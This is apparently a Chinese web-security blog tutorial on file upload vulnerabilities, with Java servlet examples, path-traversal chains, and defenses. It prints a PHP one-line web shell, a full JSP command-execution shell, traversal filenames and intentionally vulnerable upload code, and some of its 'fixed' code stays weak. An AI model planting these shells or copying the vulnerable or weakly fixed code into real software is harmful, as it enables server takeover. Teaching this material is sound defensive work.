Web安全 - 文件上传漏洞(File Upload Vulnerability)

文章目录

OWASP 2023 TOP 10

OWASP Top 10 概述

OWASP (Open Web Application Security Project) Top 10 是一份最常见和最危险的Web应用安全风险列表,由安全专家定期更新。 旨在提高开发人员、测试人员以及组织的安全意识并帮助他们预防这些漏洞。

2023年OWASP Top 10 列表

主流防范措施

  1. Broken Access Control

    • 描述:未能正确执行访问控制,允许用户访问他们不应该拥有的权限或资源。这可能导致数据泄露、数据篡改等问题。
    • 防御措施:严格实施基于角色的访问控制(RBAC),并确保敏感操作具有足够的授权检查。
  2. Cryptographic Failures

    • 描述:不当的加密实践或加密算法的使用不当,可能导致敏感数据(如密码、信用卡信息)被暴露或窃取。
    • 防御措施:使用最新的加密标准(如AES-256-GCM、RSA-2048),并避免使用弱或过时的加密算法。
  3. Injection

    • 描述:应用未能对用户输入进行有效的验证或转义,导致恶意代码注入(如SQL注入、命令注入)并执行在服务器上。
    • 防御措施:使用参数化查询、输入验证、输出转义技术,避免拼接SQL或动态代码。
  4. Insecure Design

    • 描述:系统在设计阶段未考虑安全问题,导致应用架构中的基本安全漏洞。
    • 防御措施:在开发生命周期中引入威胁建模、攻击面分析等设计阶段的安全审查。
  5. Security Misconfiguration

    • 描述:错误的配置(如不安全的默认设置、过时的软件或未配置的安全功能),可能使应用程序面临攻击。
    • 防御措施:定期审计和测试系统配置,使用自动化工具识别和修复配置问题。
  6. Vulnerable and Outdated Components

    • 描述:使用了具有已知漏洞或未及时更新的第三方库和组件,可能被攻击者利用。
    • 防御措施:确保使用依赖管理工具(如Maven、npm),并定期更新组件,避免使用过时的版本。
  7. Identification and Authentication Failures

    • 描述:认证和身份验证流程中的缺陷,可能导致用户冒充、会话劫持等问题。
    • 防御措施:实施强密码策略、使用多因素认证(MFA)和加固会话管理机制。
  8. Software and Data Integrity Failures

    • 描述:未能保证软件更新和数据的完整性,可能使攻击者篡改关键数据或上传恶意更新。
    • 防御措施:使用签名机制来验证更新包的完整性,确保数据在传输和存储过程中的可靠性。
  9. Security Logging and Monitoring Failures

    • 描述:缺乏适当的日志记录和监控,无法有效检测、响应或追踪安全事件。
    • 防御措施:实施集中化的日志记录、主动的监控和告警系统,确保能够及时发现并响应异常行为。
  10. Server-Side Request Forgery (SSRF)

    • 描述:攻击者通过伪造服务器端的请求来获取未授权的内部资源或数据,通常利用未受限制的服务器端请求机制。
    • 防御措施:限制服务器端可以发起的请求范围,避免允许用户输入直接控制服务器端的请求参数。

重点风险与防御措施建议

  1. Broken Access Control:最重要的防御措施是定期审查权限设计,确保每个用户只能访问必要的资源。建议结合应用的访问控制系统与自动化测试工具,确保权限配置不被篡改。

  2. Cryptographic Failures:确保敏感数据加密和密钥管理机制符合行业标准,如使用硬件安全模块(HSM)来保护密钥。避免明文传输或存储敏感数据。

  3. Injection:对于Web应用来说,防止注入攻击的最佳实践是始终使用参数化查询和预编译的语句。严禁直接拼接用户输入构建SQL或命令。

  4. Security Misconfiguration:安全配置管理应作为持续改进的一部分,尤其是在引入新服务或更新系统时,保持自动化的安全配置审计机制至关重要。

  5. SSRF:严格限制后端服务器能够访问的网络和资源,禁止对内部资源(如metadata或本地IP)发起请求。


导图


定义

文件上传漏洞是指Web应用允许用户上传文件,但没有对上传文件进行充分的验证和限制,导致攻击者可以上传恶意文件,如脚本、恶意代码等,进一步执行恶意操作。这种漏洞常见于文件管理、头像上传或文档管理等功能中。


攻击场景

文件上传漏洞有多种利用方式,攻击者可能会:

1. 上传恶意脚本

  • 攻击者上传一个恶意文件(例如PHP、ASP、JSP等),然后通过URL直接访问该文件,导致服务器执行其中的恶意代码。这是最常见的文件上传利用方式,尤其是在Web服务器允许解析用户上传的文件时。

2. 目录遍历

  • 攻击者可能通过上传文件并结合路径穿越漏洞,将文件保存到特定位置(例如Web可执行目录或系统目录),以进一步执行代码或操控服务器。

3. 覆盖现有文件

  • 通过上传文件覆盖系统中的重要文件,攻击者可能篡改配置文件、脚本或数据库配置,导致服务瘫痪或安全性失效。

4. 文件上传结合社会工程攻击

  • 攻击者上传看似无害的文件(如图像或PDF),诱骗其他用户下载并打开,实际包含恶意代码,导致用户系统感染恶意软件。

防御措施

为了防止文件上传漏洞,应采取多层次的防御措施:

1. 文件类型验证

  • 验证上传文件的MIME类型和文件扩展名,确保只允许上传预期的文件类型。
  • 然而,文件扩展名容易被伪装,应使用文件内容的签名(如Magic Number)进一步验证。

2. 文件名限制

  • 对上传的文件名进行严格限制,禁止使用特殊字符和文件路径符号(如../),以防止路径穿越攻击。
  • 文件名应进行随机化处理,防止攻击者通过猜测文件名进行操作。

3. 文件存储位置

  • 上传的文件应存储在安全的目录之外,不能直接通过Web服务器访问。例如,上传目录应放置在Web根目录之外,避免通过URL直接访问。
  • 如果必须存放在可访问的目录中,确保该目录不具有执行权限。

4. 文件权限设置

  • 上传的文件应设置为只读权限,并禁止脚本执行。
  • 利用操作系统的权限控制或设置Web服务器的目录权限来限制上传文件的访问范围。

5. 文件内容检测

  • 对上传文件进行内容审查,避免恶意代码注入。可以使用杀毒软件或基于规则的扫描器检查上传文件的安全性。

6. 访问控制

  • 限制文件上传功能仅供授权用户使用,并确保不同用户之间的文件操作隔离。
  • 上传后验证用户身份,确保文件仅能被合法的用户访问或处理。

7. 服务器配置

  • 在服务器配置层面禁用执行特定类型的文件(如PHP、JSP等),确保即使恶意脚本被上传,也无法被执行。
  • 在Nginx或Apache中,可以通过设置Content-Disposition头将文件强制下载,而不是直接在浏览器中执行。

文件类型验证实现

Hutool的FileTypeUtil

Hutool是一个功能强大的Java工具库,提供了丰富的工具类,简化了许多常见的Java开发任务。FileTypeUtil工具类能够根据文件的内容(Magic Number)自动判断文件类型,无需手动编写文件签名比对逻辑。

使用场景

通过Hutool的FileTypeUtil,可以直接读取文件头部字节,判断文件的真实类型,防止攻击者伪装文件扩展名上传恶意文件。


Java代码实现:基于Hutool的Magic Number验证

java 复制代码
package com.artisan.fileVunl;

import cn.hutool.core.io.FileTypeUtil;
import java.io.File;
import java.io.IOException;
/**
 * @author 小工匠
 * @version 1.0
 * @date 2024/10/2 11:50
 * @mark: show me the code , change the world
 */


public class HutoolMagicNumberValidator {

    public static void main(String[] args) throws IOException {
        // 示例文件路径
        File file = new File("D:\\Blog\\006Xzox4gy1gdmmzfm2ioj303a03awem.jpg");

        // 调用Hutool的FileTypeUtil验证文件类型
        String fileType = FileTypeUtil.getType(file);

        if (isValidFileType(fileType)) {
            System.out.println("文件类型验证通过,文件类型是: " + fileType);
        } else {
            System.out.println("文件类型无效,上传被拒绝");
        }
    }

    /**
     * 根据文件类型判断是否为允许的类型
     */
    private static boolean isValidFileType(String fileType) {
        // 允许的文件类型,如JPEG、PNG和PDF
        return "jpg".equals(fileType) || "png".equals(fileType) || "pdf".equals(fileType);
    }
}

详细说明

Hutool的FileTypeUtil工作原理

FileTypeUtil.getType(File file)方法通过读取文件的前几个字节(文件头部的Magic Number),匹配Hutool库中已知的文件签名,然后返回文件的实际类型(如jpgpngpdf等)。

代码流程

  1. 读取文件 :通过Hutool的FileTypeUtil读取文件内容,判断其实际类型。
  2. 验证文件类型:将文件类型与允许的类型列表进行比对,确保文件符合预期的类型。
  3. 输出验证结果:如果文件类型匹配,允许上传;否则,拒绝文件上传。

支持的文件类型

Hutool的FileTypeUtil支持多种常见文件类型,包括图片、文档、视频等,适用于多种文件上传场景的安全防护。


防御措施分析

  • 简化实现:Hutool封装了Magic Number验证逻辑,开发者无需手动维护文件签名列表,减少了代码复杂度。
  • 扩展性强:Hutool支持多种常见文件类型,可以根据项目需求进行扩展,适应复杂的文件上传场景。
  • 结合多层防御:在Magic Number验证基础上,依然可以结合文件扩展名和MIME类型的验证,提供多层次的防御。

文件上传防御流程

  • 第一步:文件扩展名验证:确保上传文件的扩展名符合预期。
  • 第二步:MIME类型验证:确保文件的MIME类型与扩展名和内容一致。
  • 第三步:Magic Number验证 :利用Hutool的FileTypeUtil进一步确认文件内容的真实性,避免伪造文件上传。

组合攻击

文件上传与路径穿越

  • 如果文件上传功能存在路径穿越漏洞,攻击者可以通过操控上传路径,将恶意文件上传至特定目录(如Web根目录),从而直接通过URL访问并执行。

文件上传与代码注入

  • 在文件上传漏洞中,如果攻击者可以上传动态脚本文件(如PHP),他们可以利用该文件直接注入代码并执行,例如通过浏览器直接访问http://example.com/uploads/shell.php

文件上传与CSRF

  • 文件上传功能如果缺乏适当的CSRF保护,攻击者可以诱导受害者提交恶意上传请求,从而在服务器上上传恶意文件。

漏洞Code演示与修复

存在文件上传漏洞的代码

java 复制代码
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;

public class FileUploadServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
            throws ServletException, IOException {
        Part filePart = request.getPart("file"); // 获取上传的文件
        String fileName = filePart.getSubmittedFileName();
        
        // 存储文件到服务器的目录
        File file = new File("/var/www/uploads/" + fileName);
        filePart.write(file.getAbsolutePath());
        response.getWriter().println("File uploaded successfully");
    }
}

漏洞分析

  • 没有验证文件类型和文件名,攻击者可以上传任意文件,如恶意脚本。
  • 文件直接存储在Web目录下,可能被直接访问和执行。

修复示例

java 复制代码
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;

public class SafeFileUploadServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
            throws ServletException, IOException {
        Part filePart = request.getPart("file");
        String fileName = filePart.getSubmittedFileName();

        // 1. 验证文件扩展名
        if (!fileName.endsWith(".jpg") && !fileName.endsWith(".png")) {
            response.getWriter().println("Invalid file type");
            return;
        }

        // 2. 生成随机文件名,避免文件覆盖和预测
        String safeFileName = System.currentTimeMillis() + "_" + fileName;

        // 3. 文件存储在Web目录之外
        File uploadDir = new File("/var/uploads/");
        if (!uploadDir.exists()) {
            uploadDir.mkdir();
        }

        File file = new File(uploadDir, safeFileName);
        filePart.write(file.getAbsolutePath());

        // 4. 设置文件权限为只读
        file.setReadable(true, true);
        file.setWritable(false, false);

        response.getWriter().println("File uploaded successfully");
    }
}

代码分析:

  1. 文件扩展名验证 :只允许特定类型的文件(如.jpg.png)。
  2. 文件名随机化:使用时间戳生成唯一文件名,防止覆盖和预测。
  3. 文件存储在安全目录:避免直接存储在Web目录中,确保无法通过URL访问到文件。
  4. 权限设置:上传的文件被设置为只读,避免后续操作。

文件上传漏洞与其他常见漏洞的组合攻击

文件上传漏洞常常被攻击者用作攻击链中的一环。由于单一漏洞利用的效果可能有限,攻击者往往结合其他漏洞来扩大攻击影响范围,实现更高级的攻击目标。下面探讨几种常见的组合利用场景:

  • 路径穿越结合文件上传:绕过文件上传目录限制,访问或执行敏感位置的文件。
  • 远程代码执行(RCE)结合文件上传:通过上传并执行恶意文件实现远程控制。
  • 跨站脚本(XSS)结合文件上传:通过文件传播恶意脚本,跨站点执行攻击。
  • 跨站请求伪造(CSRF)结合文件上传:在不知情的情况下诱使用户上传恶意文件。

文件上传漏洞 + 路径穿越

攻击场景:绕过文件存储路径限制

在某些应用程序中,即使存在文件上传功能,文件通常会被限制在特定目录下,如/uploads,无法直接上传到服务器的关键目录。然而,结合路径穿越漏洞,攻击者可以通过构造恶意的文件路径来绕过这些限制,上传文件到敏感目录并执行恶意代码。

高级利用步骤

  1. 上传构造路径文件 :攻击者上传文件时,在文件名中使用路径穿越符号,例如../../../../var/www/html/shell.php,尝试绕过目录限制。
  2. 利用路径穿越漏洞 :服务器没有正确处理文件名或路径,导致文件实际存储在/var/www/html/目录中。
  3. 执行上传文件 :通过URL直接访问http://example.com/shell.php,执行上传的PHP文件,从而进行远程代码执行。

防御措施

  • 严格验证文件路径,使用getCanonicalPath()检查文件的真实路径,防止路径穿越。
  • 限制上传目录,并确保该目录无执行权限。

文件上传漏洞 + 远程代码执行(RCE)漏洞

攻击场景:利用脚本文件上传实现RCE

最具破坏性的攻击之一是上传恶意脚本文件(如PHP、ASP或JSP文件),并通过直接访问这些文件来执行远程代码。文件上传漏洞允许上传任意类型的文件,而Web服务器将这些文件存储在可被Web访问的目录中,导致攻击者可以通过URL直接访问并执行这些文件。

高级利用步骤

  1. 上传恶意脚本文件 :攻击者上传一个恶意的PHP脚本,如<?php system($_GET['cmd']); ?>,并将其存储在可访问的Web目录中。
  2. 触发代码执行 :攻击者通过浏览器访问恶意文件并通过URL传递命令参数,如http://example.com/uploads/shell.php?cmd=whoami
  3. 获得服务器控制权:攻击者可以执行任何命令,获取服务器的敏感信息或进一步传播攻击。

防御措施

  • 禁止可执行脚本类型的文件上传,尤其是像.php.jsp.exe等危险文件。
  • 将上传目录设置为不可执行,防止服务器执行上传的文件。
  • 使用应用层的WAF(Web Application Firewall)过滤异常的请求模式。

文件上传漏洞 + 跨站脚本(XSS)

攻击场景:通过文件上传传播XSS攻击

攻击者可以通过上传包含恶意JavaScript代码的文件来进行XSS攻击。例如,攻击者上传一个包含恶意脚本的HTML文件或图片(通过伪装的文件名),并诱导其他用户访问该文件。浏览器解析这些文件时,可能执行其中的JavaScript代码,从而危害其他用户。

利用步骤

  1. 上传含有恶意脚本的文件 :例如,攻击者上传一个伪装成图片的HTML文件,其中嵌入了恶意JavaScript,如<script>alert('XSS');</script>
  2. 诱导用户访问文件:攻击者通过诱骗手段,诱导其他用户访问此恶意文件的URL。
  3. 脚本执行:浏览器执行恶意JavaScript代码,导致用户的会话劫持、数据泄露或其他操作。

防御措施

  • 对上传文件的MIME类型进行严格校验,并使用内容检查工具确保文件的合法性。
  • 对上传文件名及其内容进行HTML转义,防止浏览器错误地解析文件中的恶意代码。

文件上传漏洞 + CSRF

攻击场景:利用CSRF强制上传恶意文件

跨站请求伪造(CSRF)攻击可以通过诱导用户在不知情的情况下上传恶意文件。例如,攻击者构造一个恶意链接或表单,诱骗受害者在登录状态下访问,从而自动触发文件上传请求,将恶意文件上传到服务器。

利用步骤

  1. 构造恶意表单:攻击者创建一个隐藏的表单,包含文件上传功能,并预置恶意文件(通过URL传递或base64编码等方式)。
  2. 诱导受害者点击:受害者在登录的情况下点击恶意链接或提交表单,不知不觉中上传恶意文件。
  3. 攻击者执行恶意文件:恶意文件被成功上传到服务器后,攻击者可以通过直接访问该文件进行进一步攻击。

防御措施

  • 为上传功能添加CSRF Token验证,确保上传请求只能由合法用户发起。
  • 限制文件上传功能的访问权限,只有经过授权的用户才能上传文件。
  • 结合验证码机制,确保用户交互的真实性,防止自动化攻击。

组合漏洞Code : 路径穿越与远程代码执行(RCE)

场景介绍

攻击场景:路径穿越与远程代码执行(RCE)的结合利用

攻击者上传恶意脚本文件(如PHP、JSP)并通过路径穿越漏洞将文件存放到Web服务器的可执行目录下,随后通过URL访问该恶意文件,实现远程代码执行,从而获得服务器控制权。


问题代码

这是一个存在文件上传漏洞路径穿越漏洞的示例代码,展示了如何利用这些漏洞进行攻击。

java 复制代码
import java.io.File;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;

@MultipartConfig
public class VulnerableFileUploadServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // 获取上传文件的部分
        Part filePart = request.getPart("file");
        String fileName = filePart.getSubmittedFileName();

        // 路径穿越漏洞,攻击者可以通过文件名控制文件存储路径
        String uploadPath = "/var/www/uploads/" + fileName;

        // 将文件写入指定路径
        filePart.write(uploadPath);

        response.getWriter().println("File uploaded successfully to: " + uploadPath);
    }
}

漏洞分析

  • 路径穿越漏洞fileName来自用户的输入,未经过滤和验证,攻击者可以构造诸如../../webapps/ROOT/shell.jsp的文件名,从而将文件写入服务器的Web目录中。
  • 远程代码执行漏洞 :上传恶意脚本文件后,攻击者可以通过URL直接访问该文件,从而执行恶意代码,例如http://example.com/shell.jsp

利用步骤

  1. 上传恶意文件 :攻击者上传一个JSP文件(如shell.jsp),内容为:

    jsp 复制代码
    <%@ page import="java.io.*" %>
    <%
      String cmd = request.getParameter("cmd");
      Process p = Runtime.getRuntime().exec(cmd);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      BufferedReader reader = new BufferedReader(new InputStreamReader(in));
      String line = null;
      while ((line = reader.readLine()) != null) {
        out.println(line);
      }
    %>
  2. 路径穿越 :上传的文件名为../../webapps/ROOT/shell.jsp,将文件存储到Tomcat服务器的Web可执行目录中。

  3. 远程执行命令 :攻击者通过浏览器访问http://example.com/shell.jsp?cmd=whoami,远程执行命令并获得服务器权限。


防御措施

为了防止上述路径穿越与RCE漏洞,需要对代码进行修复和增强安全性:

修复代码

java 复制代码
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;

@MultipartConfig
public class SecureFileUploadServlet extends HttpServlet {

    private static final String UPLOAD_DIR = "/var/uploads/";

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        // 获取上传的文件部分
        Part filePart = request.getPart("file");
        String fileName = filePart.getSubmittedFileName();

        // 1. 验证文件名,防止路径穿越
        if (fileName.contains("..") || fileName.contains("/") || fileName.contains("\\")) {
            response.getWriter().println("Invalid file name.");
            return;
        }

        // 2. 验证文件类型,防止上传恶意脚本
        String mimeType = getServletContext().getMimeType(fileName);
        if (!isAllowedFileType(mimeType)) {
            response.getWriter().println("Invalid file type.");
            return;
        }

        // 3. 生成安全的文件名,避免文件名冲突和预测
        String safeFileName = System.currentTimeMillis() + "_" + fileName;

        // 4. 使用安全路径,将文件存储在不可执行的目录中
        Path uploadPath = Paths.get(UPLOAD_DIR + safeFileName);

        // 确保上传目录存在
        if (!Files.exists(uploadPath.getParent())) {
            Files.createDirectories(uploadPath.getParent());
        }

        // 将文件写入磁盘
        filePart.write(uploadPath.toString());

        response.getWriter().println("File uploaded successfully to: " + uploadPath);
    }

    private boolean isAllowedFileType(String mimeType) {
        return mimeType.equals("image/jpeg") || mimeType.equals("image/png") || mimeType.equals("application/pdf");
    }
}

防御措施分析

  1. 验证文件名 :代码检查文件名是否包含路径穿越符号(如..),避免文件被上传到非预期目录。
  2. 文件类型验证:通过检查文件的MIME类型,确保只允许上传预期的文件类型,如图片或PDF,防止上传脚本文件。
  3. 文件名随机化:使用时间戳生成唯一文件名,避免文件覆盖和文件名预测攻击。
  4. 安全目录存储:将上传文件存储在不可执行的目录中,防止上传文件被直接执行。
  5. 限制文件访问:配置Web服务器禁止访问上传目录中的文件,或将上传目录存储在Web根目录之外。

详细说明

攻击原理

  • 路径穿越攻击 :攻击者通过上传带有路径穿越符号的文件名(如../../webapps/ROOT/shell.jsp),将文件上传到服务器可执行目录中,从而获得远程执行权限。
  • 远程代码执行(RCE):上传的恶意文件是可执行脚本(如JSP),攻击者可以通过浏览器远程访问该文件并执行任意命令。

防御机制

  • 路径验证:通过检查文件名和路径,避免攻击者操控文件存储位置。
  • 文件类型限制:通过限制上传的文件类型,防止攻击者上传脚本文件。
  • 安全的文件存储:将上传文件存储在Web根目录之外,确保上传文件不会被直接访问和执行。
  • 文件权限设置:确保上传的文件目录没有执行权限,限制潜在的恶意操作。
相关推荐
独行soc1 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc3 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee4 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash4 小时前
安全算法基础(一)
算法·安全
云云3214 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3214 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
xcLeigh5 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
白乐天_n5 小时前
腾讯游戏安全移动赛题Tencent2016A
安全·游戏
安全小王子6 小时前
Kali操作系统简单介绍
网络·web安全
光路科技6 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全